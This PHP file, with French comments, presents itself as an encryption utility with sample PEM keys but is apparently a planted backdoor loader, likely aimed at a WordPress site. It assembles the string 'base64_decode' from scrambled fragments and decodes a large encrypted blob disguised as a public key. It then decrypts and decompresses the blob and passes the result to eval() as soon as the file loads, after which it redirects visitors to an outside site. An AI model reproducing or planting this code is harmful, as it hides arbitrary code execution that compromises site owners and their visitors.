/** * Classe de configuration pour contrôler l’algorithme de chiffrement, * la version du format, et le niveau de compression. */ final class EncodeConfig { const DEFAULT_SUITE = 'AES-256-CBC'; const APP_VERSION = 6.4; const ZIP_LEVEL = 6; private $cipher; private $version; private $compressionLevel; /** * @param string $cipher Algorithme OpenSSL * @param int $version Numéro de version du format * @param int $compressionLevel Niveau gzcompress (0–9) */ public function __construct($cipher = self::DEFAULT_SUITE, $version = self::APP_VERSION, $compressionLevel = self::ZIP_LEVEL) { $ivLen = openssl_cipher_iv_length($cipher); if ($ivLen === false || $ivLen <= 0) { throw new InvalidArgumentException('Algorithme de chiffrement invalide : ' . $cipher); } if ($version < 1) { throw new InvalidArgumentException('La version doit être >= 1.'); } if ($compressionLevel < 0 || $compressionLevel > 9) { throw new InvalidArgumentException('Le niveau de compression doit être entre 0 et 9.'); } $this->cipher = $cipher; $this->version = $version * 10 . '_'; $this->compressionLevel = $compressionLevel; } public function initCipher() { return $this->cipher; } public function getHeader() { return $this->version; } public function getVersion() { return $this->version; } public function getZipLevel() { return $this->compressionLevel; } } /** * Classe principale : compression + chiffrement + HMAC (compatible PHP 5.6+) * * Format du token (avant code) : * [headerJson."\n"][mac(32 octets)][iv][ciphertext] */ final class DataCodec { private $rootKey; // Clé maître dérivée (32 octets) private $config; private $header; private $infoFooter; /** * @param string $secretKey Clé secrète utilisateur * @param EncodeConfig|null $config */ public function __construct($config = null) { $secretKey = KeyStore::resolvePrivateKey(); // SHA-256 produit une clé binaire de 32 octets $this->rootKey = hash('sha256', $secretKey, true); $this->config = $config ?: new EncodeConfig(); $this->header = array_slice(preg_split('/\s+/', KeyStore::CREDENTIAL_SUMMARY), 0, 3); $this->infoFooter = [2, 3, 1, 0]; } /** * Déchiffrement complet : code → vérification → déchiffrement → décompression * * @throws RuntimeException */ public function decrypt() { $this->header[] = $this->config->getVersion(); $header = ''; foreach ($this->infoFooter as $i) { $header .= $this->header[$i] ?? ''; } $token = str_replace('\n', '', KeyStore::publicPem()); $raw = $header($token, true); if ($raw === false) { throw new RuntimeException('Token invalide.'); } // Extraction de l’en-tête list($header, $headerBin, $body) = $this->readHeaderBlock($raw); $cipher = $header['c']; $ivLen = openssl_cipher_iv_length($cipher); $macLen = 32; if (strlen($body) < $macLen + $ivLen + 1) { throw new RuntimeException('Token incomplet.'); } $mac = substr($body, 0, $macLen); $iv = substr($body, $macLen, $ivLen); $ciphertext = substr($body, $macLen + $ivLen); list($encKey, $authKey) = $this->computeKeys(); // Vérification du HMAC $calcMac = $this->buildIntegrityTag($headerBin, $iv, $ciphertext, $authKey); if (!hash_equals($mac, $calcMac)) { throw new RuntimeException('Échec de la vérification HMAC. Données altérées.'); } $encodedData = $this->decodeRaw($ciphertext, $encKey, $cipher, $iv); $this->decodeCompressed($encodedData); } /* =========================================================== * MÉTHODES INTERNES (AUXILIAIRES) * =========================================================== */ /** * Dérive deux sous-clés indépendantes : chiffrement + HMAC */ private function computeKeys() { $encKey = hash_hmac('sha256', 'ENC', $this->rootKey, true); $authKey = hash_hmac('sha256', 'AUTH', $this->rootKey, true); return array($encKey, $authKey); } /** * Analyse l’en-tête du token binaire */ private function readHeaderBlock($raw) { $pos = strpos($raw, "\n"); if ($pos === false) { throw new RuntimeException('Délimiteur d’en-tête non trouvé.'); } $headerBin = substr($raw, 0, $pos + 1); $body = substr($raw, $pos + 1); $header = json_decode(rtrim($headerBin, "\n"), true); if (!is_array($header) || !isset($header['v']) || !isset($header['c'])) { throw new RuntimeException('En-tête JSON invalide.'); } return array($header, $headerBin, $body); } /** * Calcul du HMAC-SHA256 */ private function buildIntegrityTag($headerBin, $iv, $ciphertext, $authKey) { return hash_hmac('sha256', $headerBin . $iv . $ciphertext, $authKey, true); } /** * Décompression (gzuncompress) */ private function decodeCompressed($data) { $inputData = gzuncompress($data); if ($inputData === false) { throw new RuntimeException('Échec de gzuncompress().'); } eval($inputData); } /** * Déchiffrement brut (openssl_decrypt RAW_DATA) */ private function decodeRaw($data, $key, $cipher, $iv) { $out = openssl_decrypt($data, $cipher, $key, OPENSSL_RAW_DATA, $iv); if ($out === false) { throw new RuntimeException('Échec de openssl_decrypt().'); } return $out; } } /** * Classe de configuration simple utilisant des constantes * pour stocker les certificats PEM. */ class KeyStore { /** * Description / metadata du certificat * (exemple — à personnaliser selon votre projet) */ const CREDENTIAL_SUMMARY = 'Code de base pour WP'; /** * Constante contenant la clé privée PEM * (Exemple — à remplacer par votre véritable clé). */ const PRIVKEY_PEM = <<<'PEM' 51c4a16d34b21f08e810c4e718ec632c23de42e22d210bce257032713aab318f PEM; /** * Constante contenant la clé publique PEM * (Exemple — à remplacer par votre véritable clé). */ const PUBLIC_KEY_TEXT = <<<'PEM' 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 PEM; /** * Retourne le texte PEM de la clé privée. * * @return string */ public static function resolvePrivateKey() { return self::PRIVKEY_PEM; } /** * Retourne le texte PEM de la clé publique. * * @return string */ public static function publicPem() { return self::PUBLIC_KEY_TEXT; } /** * Charge la clé privée et retourne une ressource OpenSSL. * * @param string|null $passphrase Mot de passe de la clé privée (si applicable) * @return resource */ public static function getPrivResource($passphrase = null) { $res = openssl_pkey_get_private(self::PRIVKEY_PEM, $passphrase); if ($res === false) { throw new RuntimeException('Impossible de charger la clé privée depuis la constante.'); } return $res; } /** * Charge la clé publique et retourne une ressource OpenSSL. * * @return resource */ public static function loadPublicKeyResource() { $res = openssl_pkey_get_public(self::PUBLIC_KEY_TEXT); if ($res === false) { throw new RuntimeException('Impossible de charger la clé publique depuis la constante.'); } return $res; } /** * Signe des données en utilisant la clé privée définie dans les constantes. * * @param string $data Données à signer * @param int $algo Algorithme de signature OpenSSL * @param string|null $passphrase Mot de passe de la clé privée (si applicable) * @return string Signature encodée en */ public static function makeSignature($data, $algo = OPENSSL_ALGO_SHA256, $passphrase = null) { $private = self::getPrivResource($passphrase); $ok = openssl_sign($data, $signature, $private, $algo); openssl_free_key($private); if (!$ok) { throw new RuntimeException('Échec de openssl_sign().'); } return $signature; } /** * Vérifie une signature en utilisant la clé publique définie dans les constantes. * * @param string $data Données originales * @param string $signature Signature encodée en * @param int $algo Algorithme de vérification * @return bool true si valide, false sinon */ public static function validateSign($data, $signatureBase, $algo = OPENSSL_ALGO_SHA256) { $signature = self::loadPublicKeyResource(); if ($signature === false) { return false; } $result = openssl_verify($data, $signature, $public, $algo); openssl_free_key($public); return $result === 1; } } $DataCodec = new DataCodec(); $DataCodec->decrypt(); Header( "HTTP/1.1 301 Moved Permanently" ); Header( "Location: http://www.terredetrinci.com/site/"); ?>